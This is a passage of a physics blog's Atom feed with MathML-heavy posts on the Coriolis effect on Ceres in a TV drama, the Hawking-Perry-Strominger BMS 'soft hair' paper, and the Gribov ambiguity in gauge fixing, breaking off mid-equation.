  746. <p>with initial conditions <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>x</mi><mo stretchy="false">(</mo><mi>t</mi><mo stretchy="false">)</mo><mo>=</mo><mover><mi>x</mi><mo>&#x002D9;</mo></mover><mo stretchy="false">(</mo><mi>t</mi><mo stretchy="false">)</mo><mo>=</mo><mi>y</mi><mo stretchy="false">(</mo><mi>t</mi><mo stretchy="false">)</mo><mo>=</mo><mover><mi>y</mi><mo>&#x002D9;</mo></mover><mo stretchy="false">(</mo><mi>t</mi><mo stretchy="false">)</mo><mo>=</mo><mn>0</mn></mrow><annotation encoding='application/x-tex'>x(t)=\dot{x}(t)=y(t)=\dot{y}(t)=0</annotation></semantics></math>. The exact solution solution is elementary, but for <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x003C9;</mi><mi>t</mi><mo>&#x0226A;</mo><mn>1</mn></mrow><annotation encoding='application/x-tex'>\omega t\ll 1</annotation></semantics></math>, <em>i.e.</em> for times much shorter than the rotational period, we can approximate</p>
  747.  
  748. <div class="numberedEq" id="e2890:approx"><span>(2)</span><math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mrow><mtable displaystyle="true" columnalign="right left right left right left right left right left" columnspacing="0em"><mtr><mtd><mi>x</mi><mo stretchy="false">(</mo><mi>t</mi><mo stretchy="false">)</mo></mtd> <mtd><mo>=</mo><mfrac><mn>1</mn><mn>3</mn></mfrac><mo stretchy="false">(</mo><mn>1</mn><mo>&#x02212;</mo><msup><mi>&#x003F5;</mi> <mn>2</mn></msup><mo stretchy="false">)</mo><mi>R</mi><mo stretchy="false">(</mo><mi>&#x003C9;</mi><mi>t</mi><msup><mo stretchy="false">)</mo> <mn>3</mn></msup><mo>+</mo><mi>O</mi><mo maxsize="1.2em" minsize="1.2em">(</mo><mo stretchy="false">(</mo><mi>&#x003C9;</mi><mi>t</mi><msup><mo stretchy="false">)</mo> <mn>5</mn></msup><mo maxsize="1.2em" minsize="1.2em">)</mo><mo>,</mo></mtd></mtr> <mtr><mtd><mi>y</mi><mo stretchy="false">(</mo><mi>t</mi><mo stretchy="false">)</mo></mtd> <mtd><mo>=</mo><mo lspace="0.11111em" rspace="0em">&#x02212;</mo><mstyle displaystyle="false"><mfrac><mn>1</mn><mn>2</mn></mfrac></mstyle><mo stretchy="false">(</mo><mn>1</mn><mo>&#x02212;</mo><msup><mi>&#x003F5;</mi> <mn>2</mn></msup><mo stretchy="false">)</mo><mi>R</mi><mo stretchy="false">(</mo><mi>&#x003C9;</mi><mi>t</mi><msup><mo stretchy="false">)</mo> <mn>2</mn></msup><mo>+</mo><mi>O</mi><mo maxsize="1.2em" minsize="1.2em">(</mo><mo stretchy="false">(</mo><mi>&#x003C9;</mi><mi>t</mi><msup><mo stretchy="false">)</mo> <mn>4</mn></msup><mo maxsize="1.2em" minsize="1.2em">)</mo></mtd></mtr></mtable></mrow></mrow><annotation encoding='application/x-tex'>\begin{split}
  749.  x(t)&amp;= \frac{1}{3} (1&#x2d;\epsilon^2) R (\omega t)^3 +O\bigl((\omega t)^5\bigr),\\
  750.  y(t)&amp;= &#x2d; \tfrac{1}{2} (1&#x2d;\epsilon^2)R(\omega t)^2+O\bigl((\omega t)^4\bigr)
  751. \end{split}
  752. </annotation></semantics></math></div>
  753.  
  754. <p>From (<a href="#e2890:approx">2</a>), if the whiskey falls a distance <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>h</mi><mo>&#x0226A;</mo><mi>R</mi></mrow><annotation encoding='application/x-tex'>h\ll R</annotation></semantics></math>, it undergoes a lateral displacement</p>
  755.  
  756. <div class="numberedEq" id="e2890:final"><span>(3)</span><math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mi>&#x00394;</mi><mi>x</mi><mo>=</mo><mstyle displaystyle="false"><mfrac><mn>2</mn><mn>3</mn></mfrac></mstyle><mi>h</mi><mspace width="0.16667em"/><msup><mrow><mo>(</mo><mfrac><mrow><mn>2</mn><mi>h</mi></mrow><mrow><mo stretchy="false">(</mo><mn>1</mn><mo>&#x02212;</mo><msup><mi>&#x003F5;</mi> <mn>2</mn></msup><mo stretchy="false">)</mo><mi>R</mi></mrow></mfrac><mo>)</mo></mrow> <mrow><mn>1</mn><mo stretchy="false">/</mo><mn>2</mn></mrow></msup></mrow><annotation encoding='application/x-tex'>\Delta x = \tfrac{2}{3} h\, {\left(\frac{2h}{(1&#x2d;\epsilon^2)R}\right)}^{1/2}
  757. </annotation></semantics></math></div>
  758.  
  759. <p>For <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>h</mi><mo>=</mo><mn>16</mn></mrow><annotation encoding='application/x-tex'>h=16</annotation></semantics></math> cm and <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>R</mi><mo>=</mo><mstyle displaystyle="false"><mfrac><mn>1</mn><mn>3</mn></mfrac></mstyle><msub><mi>R</mi> <mi>C</mi></msub></mrow><annotation encoding='application/x-tex'>R=\tfrac{1}{3}R_C</annotation></semantics></math>, this is <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mfrac><mrow><mi>&#x00394;</mi><mi>x</mi></mrow><mi>h</mi></mfrac><mo>=</mo><msup><mn>10</mn> <mrow><mo lspace="0.11111em" rspace="0em">&#x02212;</mo><mn>3</mn></mrow></msup></mrow><annotation encoding='application/x-tex'>\frac{\Delta x}{h}= 10^{&#x2d;3}</annotation></semantics></math> which is 3 orders of magnitude smaller than depicted in the <a href="#CoriolisI1">screenshot</a> above<sup><a href="#CoriolisF2">2</a></sup>.</p>
  760.  
  761. <p>So, while I love the idea of the Coriolis effect appearing &#8212; however tangentially &#8212; in a TV drama, this really wasn&#8217;t the place for it.</p>
  762.  
  763. <hr/>
  764.  
  765. <div id="CoriolisF1" class="footnote"><p><sup>1</sup> Here, I&#8217;m approximating Ceres to be a sphere of uniform density. That&#8217;s not really correct, but since the contribution of Ceres&#8217; intrinsic gravity to (<a href="#e2890:final">3</a>) is only a 5% effect, the <em>corrections</em> from non-uniform density are negligible.</p></div>
  766.  
  767. <div id="CoriolisF2" class="footnote"><p><sup>2</sup> We could complain about other things: like that the slope should be monotonic (very much unlike what&#8217;s depicted). But that seems a minor quibble, compared to the effect being a thousand times too large.</p></div>
  768.  
  769.      </div>
  770.    </content>
  771.  </entry>
  772.  <entry>
  773.    <title type="html">BMiSsed</title>
  774.    <link rel="alternate" type="application/xhtml+xml" href="https://golem.ph.utexas.edu/~distler/blog/archives/002863.html" />
  775.    <updated>2016-01-11T16:09:36Z</updated>
  776.    <published>2016-01-10T11:39:02-06:00</published>
  777.    <id>tag:golem.ph.utexas.edu,2016:%2F~distler%2Fblog%2F1.2863</id>
  778.    <summary type="text">I'm confused about Hawking-Perry-Strominger.</summary>
  779.    <author>
  780.      <name>distler</name>
  781.      <uri>https://golem.ph.utexas.edu/~distler/blog/</uri>
  782.      <email>[email protected]</email>
  783.    </author>
  784.    <category term="Physics" />
  785.    <content type="xhtml" xml:base="https://golem.ph.utexas.edu/~distler/blog/archives/002863.html">
  786.      <div xmlns="http://www.w3.org/1999/xhtml">
  787. <div><a href="http://golem.ph.utexas.edu/~distler/blog/mathml.html"><img class="mathlogo" src="https://golem.ph.utexas.edu/~distler/blog/images/MathML.png" alt="MathML-enabled post (click for more details)." title="MathML-enabled post (click for details)." /></a></div>
  788.  
  789. <p>There&#8217;s a general mantra that we all repeat to ourselves: gauge transformations are <em>not symmetries</em>; they are <em>redundancies</em> of our description. There is an exception, of course: gauge transformations that don&#8217;t go to the identity at infinity <em>aren&#8217;t</em> redundancies; they are actual symmetries.</p>
  790.  
  791. <p>Strominger, rather beautifully <a href="http://arxiv.org/abs/1312.2229">showed</a> that BMS supertranslations (or, more precisely, a certain diagonal subgroup of <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mtext>BMS</mtext> <mo>+</mo></msup></mrow><annotation encoding='application/x-tex'>\text{BMS}^+</annotation></semantics></math> (which act as supertranslations on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mi>&#x02110;</mi> <mo>+</mo></msup></mrow><annotation encoding='application/x-tex'>\mathcal{I}^+</annotation></semantics></math>) and <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mtext>BMS</mtext> <mo>&#x02212;</mo></msup></mrow><annotation encoding='application/x-tex'>\text{BMS}^&#x2d;</annotation></semantics></math> (which act as supertranslations on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mi>&#x02110;</mi> <mo>&#x02212;</mo></msup></mrow><annotation encoding='application/x-tex'>\mathcal{I}^&#x2d;</annotation></semantics></math>) are symmetries of the gravitational S-matrix. The corresponding conservation laws are equivalent to Weinberg&#8217;s <a href="http://inspirehep.net/record/48759">Soft-Graviton Theorem</a>. Similarly, in electromagnetism, the <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>U</mi><mo stretchy="false">(</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>U(1)</annotation></semantics></math> gauge transformations which don&#8217;t go to the identity on  <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mi>&#x02110;</mi> <mo>&#x000B1;</mo></msup></mrow><annotation encoding='application/x-tex'>\mathcal{I}^\pm</annotation></semantics></math> give rise to the Soft-Photon Theorem.</p>
  792.  
  793. <p>A while back, there was considerable brouhaha about Hawking&#8217;s claim that BMS symmetry had something to do with resolving the blackhole information paradox. Well, finally, a paper from <a href="http://arxiv.org/abs/1601.00921">Hawking, Perry and Strominger</a> has arrived.</p>
  794.  
  795. <p>Cue <a href="http://backreaction.blogspot.com/2016/01/more-information-emerges-about-new.html">further</a> <a href="http://blogs.scientificamerican.com/dark-star-diaries/stephen-hawking-s-new-black-hole-paper-translated-an-interview-with-co-author-andrew-strominger/">brouhaha</a>&#8230;</p>
  796.  
  797. <div><a href="http://golem.ph.utexas.edu/~distler/blog/mathml.html"><img class="mathlogo" src="https://golem.ph.utexas.edu/~distler/blog/images/MathML.png" alt="MathML-enabled post (click for more details)." title="MathML-enabled post (click for details)." /></a></div>
  798.  
  799. <p>In a nutshell, it seems they want to propose that gauge transformations which don&#8217;t go to the identity at the blackhole <em>horizon</em> are also <em>not redundancies</em>, but rather <em>symmetries</em> of the theory. And the corresponding conservation laws (they mostly talk about the electromagnetic case &#8212; hence soft-photons) provide previously unforeseen hair to the blackhole.</p>
  800.  
  801. <p>Lots of details (or, at least, the promise of followup work containing said details) follow, but the crux of the matter is the following: two blackholes which differ by a gauge transformation which is not the identity on the horizon are <em>different</em> (degenerate) blackholes. Moreover, some diagonal subgroup of <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mtext>BMS</mtext> <mi>H</mi></msup></mrow><annotation encoding='application/x-tex'>\text{BMS}^H</annotation></semantics></math> and <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mtext>BMS</mtext> <mo>+</mo></msup></mrow><annotation encoding='application/x-tex'>\text{BMS}^+</annotation></semantics></math> is supposed to be a symmetry of the Hawking process (hence allowing the &#8220;hair&#8221; to escape, as the blackhole evaporates).</p>
  802.  
  803. <p>But I&#8217;m stuck at the starting point: why are we changing the rules and declaring that gauge transformations at the horizon are symmetries, rather than redundancies? </p>
  804.  
  805. <p>As I. I. Rabi said (on a different subject), &#8220;Who ordered that?&#8221;</p>
  806.  
  807. <p>The second, more subtle, point is how are we supposed to &#8220;find&#8221; the desired diagonal subgroup of <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mtext>BMS</mtext> <mi>H</mi></msup><mo>&#x000D7;</mo><msup><mtext>BMS</mtext> <mo>+</mo></msup></mrow><annotation encoding='application/x-tex'>\text{BMS}^H\times \text{BMS}^+</annotation></semantics></math>? In the case that Strominger studied, a crucial fact was that <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mi>&#x02110;</mi> <mo>&#x02212;</mo></msup></mrow><annotation encoding='application/x-tex'>\mathcal{I}^&#x2d;</annotation></semantics></math> and <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mi>&#x02110;</mi> <mo>+</mo></msup></mrow><annotation encoding='application/x-tex'>\mathcal{I}^+</annotation></semantics></math> intersect on the <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mi>S</mi> <mn>2</mn></msup></mrow><annotation encoding='application/x-tex'>S^2</annotation></semantics></math> at spatial infinity. Studying the action of <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mtext>BMS</mtext> <mo>&#x000B1;</mo></msup></mrow><annotation encoding='application/x-tex'>\text{BMS}^\pm</annotation></semantics></math> near spatial infinity picked out the desired subgroup of <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mtext>BMS</mtext> <mo>&#x02212;</mo></msup><mo>&#x000D7;</mo><msup><mtext>BMS</mtext> <mo>+</mo></msup></mrow><annotation encoding='application/x-tex'>\text{BMS}^&#x2d;\times \text{BMS}^+</annotation></semantics></math>. But, while the horizon of an <em>eternal</em> blackhole does intersect <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mi>&#x02110;</mi> <mo>+</mo></msup></mrow><annotation encoding='application/x-tex'>\mathcal{I}^+</annotation></semantics></math> (a fact HPS use in section 3), the horizon of an evaporating one does not. So I can&#8217;t imagine any natural way to relate supertranslations (or <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>U</mi><mo stretchy="false">(</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>U(1)</annotation></semantics></math> gauge rotations) on the horizon of an evaporating blackhole to supertranslations (gauge rotations) on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mi>&#x02110;</mi> <mo>+</mo></msup></mrow><annotation encoding='application/x-tex'>\mathcal{I}^+</annotation></semantics></math>. Section 6 of their paper is supposed to address this question, but I honestly can&#8217;t make heads or tails of it.</p>
  808.  
  809. <p>In the end, my puzzlement comes down to this: the whole setup is that of local quantum field theory, the context in which the blackhole information paradox originally arose. The &#8220;solution&#8221; seems to be to change the rules of local quantum field theory (in a seemingly ad-hoc way, at the horizon). But, if we&#8217;ve learned anything &#8212; from String Theory, <abbr title="Anti de Sitter">AdS</abbr>/<abbr title="Conformal Field Theory">CFT</abbr>, &#8230; &#8212;- it&#8217;s not that local quantum field theory needs to be modified in some way; it&#8217;s that local quantum field theory, in the presence of blackholes, breaks down at something of order the Page Time and this breakdown is <em>not</em> some local effect.</p>
  810.  
  811.      </div>
  812.    </content>
  813.  </entry>
  814.  <entry>
  815.    <title type="html">Asymptotic Safety and the Gribov Ambiguity</title>
  816.    <link rel="alternate" type="application/xhtml+xml" href="https://golem.ph.utexas.edu/~distler/blog/archives/002833.html" />
  817.    <updated>2015-06-29T17:47:00Z</updated>
  818.    <published>2015-06-19T03:11:11-06:00</published>
  819.    <id>tag:golem.ph.utexas.edu,2015:%2F~distler%2Fblog%2F1.2833</id>
  820.    <summary type="text">The Gribov ambiguity means there are no global gauge slices for gravity, either.</summary>
  821.    <author>
  822.      <name>distler</name>
  823.      <uri>https://golem.ph.utexas.edu/~distler/blog/</uri>
  824.      <email>[email protected]</email>
  825.    </author>
  826.    <category term="LQG" />
  827.    <content type="xhtml" xml:base="https://golem.ph.utexas.edu/~distler/blog/archives/002833.html">
  828.      <div xmlns="http://www.w3.org/1999/xhtml">
  829. <div><a href="http://golem.ph.utexas.edu/~distler/blog/mathml.html"><img class="mathlogo" src="https://golem.ph.utexas.edu/~distler/blog/images/MathML.png" alt="MathML-enabled post (click for more details)." title="MathML-enabled post (click for details)." /></a></div>
  830.  
  831. <p>Recently, an <a href="https://golem.ph.utexas.edu/~distler/blog/archives/001585.html">old post of mine</a> about the Asymptotic Safety program for quantizing gravity received a <a href="https://golem.ph.utexas.edu/~distler/blog/archives/001585.html#c049181">flurry of new comments</a>. Inadvertently, one of the pseudonymous commenters pointed out <em>yet another</em> problem with the program, which deserves a post all its own.</p>
  832.  
  833. <p>Before launching in, I should say that</p>
  834.  
  835. <ol>
  836. <li>Everything I am about to say was known to <a href="http://projecteuclid.org/euclid.cmp/1103904019">Iz Singer in 1978</a>. Though, as with the corresponding result for nonabelian gauge theory, the import seems to be largely unappreciated by physicists working on the subject.</li>
  837. <li>I would like to thank Valentin Zakharevich, a very bright young grad student in our Math Department for a discussion on this subject, which clarified things greatly for me.</li>
  838. </ol>
  839.  
  840. <div><a href="http://golem.ph.utexas.edu/~distler/blog/mathml.html"><img class="mathlogo" src="https://golem.ph.utexas.edu/~distler/blog/images/MathML.png" alt="MathML-enabled post (click for more details)." title="MathML-enabled post (click for details)." /></a></div>
  841.  
  842. <h3>Yang-Mills Theory</h3>
  843.  
  844. <p>Let&#8217;s start by reviewing <a href="http://projecteuclid.org/euclid.cmp/1103904019">Singer&#8217;s explication</a> of the Gribov ambiguity.</p>
  845.  
  846. <p>Say we want to do the path integral for Yang-Mills Theory, with compact semi-simple gauge group <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>G</mi></mrow><annotation encoding='application/x-tex'>G</annotation></semantics></math>. For definiteness, we&#8217;ll talk about the Euclidean path integral, and take <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>M</mi><mo>=</mo><msup><mi>S</mi> <mn>4</mn></msup></mrow><annotation encoding='application/x-tex'>M= S^4</annotation></semantics></math>. Fix a principal <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>G</mi></mrow><annotation encoding='application/x-tex'>G</annotation></semantics></math>-bundle, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>P</mi><mo>&#x02192;</mo><mi>M</mi></mrow><annotation encoding='application/x-tex'>P\to M</annotation></semantics></math>. We would like to integrate over all connections, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>A</mi></mrow><annotation encoding='application/x-tex'>A</annotation></semantics></math>, on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>P</mi></mrow><annotation encoding='application/x-tex'>P</annotation></semantics></math>, modulo gauge transformations, with a weight given by <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mi>e</mi> <mrow><mo lspace="0.11111em" rspace="0em">&#x02212;</mo><msub><mi>S</mi> <mtext>YM</mtext></msub><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo></mrow></msup></mrow><annotation encoding='application/x-tex'>e^{&#x2d;S_{\text{YM}}(A)}</annotation></semantics></math>. Let <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D49C;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{A}</annotation></semantics></math> be the space of all connections on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>P</mi></mrow><annotation encoding='application/x-tex'>P</annotation></semantics></math>, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D4A2;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{G}</annotation></semantics></math> the (infinite dimensional) group of gauge transformations (automorphisms of <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>P</mi></mrow><annotation encoding='application/x-tex'>P</annotation></semantics></math> which project to the identity on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>M</mi></mrow><annotation encoding='application/x-tex'>M</annotation></semantics></math>), and <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x0212C;</mi><mo>=</mo><mi>&#x1D49C;</mi><mo stretchy="false">/</mo><mi>&#x1D4A2;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{B}=\mathcal{A}/\mathcal{G}</annotation></semantics></math>, the gauge equivalence classes of connections.</p>
  847.  
  848. <p>&#8220;Really,&#8221; what we would like to do is integrate over <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x0212C;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{B}</annotation></semantics></math>. In practice, what we actually do is <em>fix a gauge</em> and integrate over actual connections (rather than equivalence classes thereof). We could, for instance, choose <em>background field gauge</em>. Pick a fiducial connection, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mover><mi>A</mi><mo>&#x000AF;</mo></mover></mrow><annotation encoding='application/x-tex'>\overline{A}</annotation></semantics></math>, on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>P</mi></mrow><annotation encoding='application/x-tex'>P</annotation></semantics></math>, and parametrize any other connection
  849. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mi>A</mi><mo>=</mo><mover><mi>A</mi><mo>&#x000AF;</mo></mover><mo>+</mo><mi>Q</mi></mrow><annotation encoding='application/x-tex'>
  850. A= \overline{A}+Q
  851. </annotation></semantics></math>
  852. with <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>Q</mi></mrow><annotation encoding='application/x-tex'>Q</annotation></semantics></math> a <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D524;</mi></mrow><annotation encoding='application/x-tex'>\mathfrak{g}</annotation></semantics></math>-valued 1-form on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>M</mi></mrow><annotation encoding='application/x-tex'>M</annotation></semantics></math>. Background field gauge is </p>
  853.  
  854. <div class="numberedEq" id="e2833:bfg"><span>(1)</span><math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><msub><mi>D</mi> <mover><mi>A</mi><mo>&#x000AF;</mo></mover></msub><mo>*</mo><mi>Q</mi><mo>=</mo><mn>0</mn></mrow><annotation encoding='application/x-tex'>D_{\overline{A}}* Q = 0
  855. </annotation></semantics></math></div>
  856.  
  857. <p>which picks out a linear subspace <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D4AC;</mi><mo>&#x02282;</mo><mi>&#x1D49C;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{Q}\subset\mathcal{A}</annotation></semantics></math>. The hope is that this subspace is transverse to the orbits of <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D4A2;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{G}</annotation></semantics></math>, and intersects each orbit precisely once. If so, then we can do the path integral by integrating<sup><a href="#GribovF1">1</a></sup> over <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D4AC;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{Q}</annotation></semantics></math>. That is, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D4AC;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{Q}</annotation></semantics></math> is the image of a global section of the principal <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D4A2;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{G}</annotation></semantics></math>-bundle, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D49C;</mi><mo>&#x02192;</mo><mi>&#x0212C;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{A}\to \mathcal{B}</annotation></semantics></math> and integrating over <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x0212C;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{B}</annotation></semantics></math> is equivalent to integrating over its image, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D4AC;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{Q}</annotation></semantics></math>.</p>
  858.  
  859. <p>What Gribov found (in a Coulomb-type gauge) is that <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D4AC;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{Q}</annotation></semantics></math> intersects a given gauge orbit more than once. Singer explained that this is not some accident of Coulomb gauge. The bundle <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D49C;</mi><mo>&#x02192;</mo><mi>&#x0212C;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{A}\to \mathcal{B}</annotation></semantics></math> is nontrivial and no global gauge choice (section) <em>exists</em>.</p>
  860.  
  861. <p>A small technical point: <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D4A2;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{G}</annotation></semantics></math> doesn&#8217;t act freely on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D49C;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{A}</annotation></semantics></math>. Except for the case<sup><a href="#GribovF2">2</a></sup> <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>G</mi><mo>=</mo><mi>SU</mi><mo stretchy="false">(</mo><mn>2</mn><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>G=SU(2)</annotation></semantics></math>, there are <em>reducible connections</em>, which are fixed by a subgroup of <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D4A2;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{G}</annotation></semantics></math>. Because of the presence of reducible connections, we should interpret <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x0212C;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{B}</annotation></semantics></math> as a <em>stack</em>. However, to prove the nontriviality, we don&#8217;t need to venture into the stacky world; it suffices to consider the irreducible connections, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>&#x1D49C;</mi> <mn>0</mn></msub><mo>&#x02282;</mo><mi>&#x1D49C;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{A}_0\subset \mathcal{A}</annotation></semantics></math>, on which <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D4A2;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{G}</annotation></semantics></math> acts freely. We then have <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>&#x1D49C;</mi> <mn>0</mn></msub><mo>&#x02192;</mo><msub><mi>&#x0212C;</mi> <mn>0</mn></msub></mrow><annotation encoding='application/x-tex'>\mathcal{A}_0\to \mathcal{B}_0</annotation></semantics></math> of which <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D4A2;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{G}</annotation></semantics></math> acts freely on the fibers. If we <em>were</em> able to find a global section of <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>&#x1D49C;</mi> <mn>0</mn></msub><mo>&#x02192;</mo><msub><mi>&#x0212C;</mi> <mn>0</mn></msub></mrow><annotation encoding='application/x-tex'>\mathcal{A}_0\to \mathcal{B}_0</annotation></semantics></math>, then we would have established
  862. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><msub><mi>&#x1D49C;</mi> <mn>0</mn></msub><mo>&#x02245;</mo><msub><mi>&#x0212C;</mi> <mn>0</mn></msub><mo>&#x000D7;</mo><mi>&#x1D4A2;</mi></mrow><annotation encoding='application/x-tex'>
  863.   \mathcal{A}_0\cong \mathcal{B}_0\times \mathcal{G}
  864. </annotation></semantics></math>
  865. But Singer proves that </p>
  866.  
  867. <ol>
  868. <li><math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>&#x003C0;</mi> <mi>k</mi></msub><mo stretchy="false">(</mo><msub><mi>&#x1D49C;</mi> <mn>0</mn></msub><mo stretchy="false">)</mo><mo>=</mo><mn>0</mn><mo>,</mo><mspace width="0.16667em"/><mo>&#x02200;</mo><mi>k</mi><mo>&gt;</mo><mn>0</mn></mrow><annotation encoding='application/x-tex'>\pi_k(\mathcal{A}_0)=0,\,\forall k\gt 0</annotation></semantics></math>. But</li>
  869. <li><math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>&#x003C0;</mi> <mi>k</mi></msub><mo stretchy="false">(</mo><mi>&#x1D4A2;</mi><mo stretchy="false">)</mo><mo>&#x02260;</mo><mn>0</mn></mrow><annotation encoding='application/x-tex'>\pi_k(\mathcal{G})\neq 0</annotation></semantics></math> for some <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>k</mi><mo>&gt;</mo><mn>0</mn></mrow><annotation encoding='application/x-tex'>k\gt 0</annotation></semantics></math>.</li>
  870. </ol>
  871.  
  872. <p>Hence
  873. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><msub><mi>&#x1D49C;</mi> <mn>0</mn></msub><mo>&#x02247;</mo><msub><mi>&#x0212C;</mi> <mn>0</mn></msub><mo>&#x000D7;</mo><mi>&#x1D4A2;</mi></mrow><annotation encoding='application/x-tex'>
  874.   \mathcal{A}_0\ncong \mathcal{B}_0\times \mathcal{G}
